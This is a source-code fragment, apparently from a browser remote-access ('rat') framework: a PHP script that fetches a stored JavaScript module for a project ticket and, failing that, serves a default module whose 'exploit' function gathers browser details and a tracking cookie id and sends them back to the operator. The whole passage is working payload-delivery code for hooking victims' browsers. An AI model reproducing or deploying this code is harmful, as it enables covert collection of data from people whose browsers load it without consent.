} //other method or field } } rat.regCmp('rat.module'); <?php require_once "bin/Path.php"; require_once "bin/util/util.php"; require_once PHP_BASE_DIR . "/db/MySQL.php"; require_once PHP_BASE_DIR . "/entity/ProjectModule.php"; $db = new MySQL($log); $mysqli = $db->openDB(); $projectModule = new ProjectModule($mysqli, $log); try { if ($projectModule->getProjectModulesByTicket($ticket)) { $s = new SaeStorage(); $content = $s->fileExists(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($projectModule->module_path)) ? $s->read(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($projectModule->module_path)) . "\n" : ""; $content .= "rat.extend(true,rat.module.core,rat.module);\n"; if ($projectModule->config != null && $projectModule->config != "[]") { $content .= "rat.module.core.init(" . $projectModule->config . ");\n"; } } else { $content = "\r\nrat.module.core = {\r\n\tconfig:null,\r\n\tbrowser_details:function(){\r\n\t\tvar details = rat.browser.getDetails();\r\n\t\tdetails['rat_cookie'] = rat.session.get_rat_cookie_id();\r\n\t\tdetails['Core Module Result'] = 'Can't find the core module, use the default!';\r\n\t\tvar details_ob = \$.arrayToJSON(details);\r\n\t\tthis.sendResult(details_ob);\r\n\t},\r\n\texploit:function(){\r\n\t\tthis.browser_details();\r\n\t}\r\n\r\n};\n"; $content .= "rat.extend(true,rat.module.core,rat.module);\n"; } } catch (Exception $e) { //抛出异常 $content = "\r\nrat.module.core = {\r\n\tconfig:null,\r\n\tbrowser_details:function(){\r\n\t\tvar details = rat.browser.getDetails();\r\n\t\tdetails['rat_cookie'] = rat.session.get_rat_cookie_id();\r\n\t\tdetails['Core Module Result'] = 'Load Core Module Failed, Exception: " . $e->getMessage() . "';\r\n\t\tvar details_ob = \$.arrayToJSON(details);\r\n\t\tthis.sendResult(details_ob);\r\n\t},\r\n\texploit:function(){\r\n\t\tthis.browser_details();\r\n\t}\r\n\r\n};\n"; $content .= "rat.extend(true,rat.module.core,rat.module);\n"; }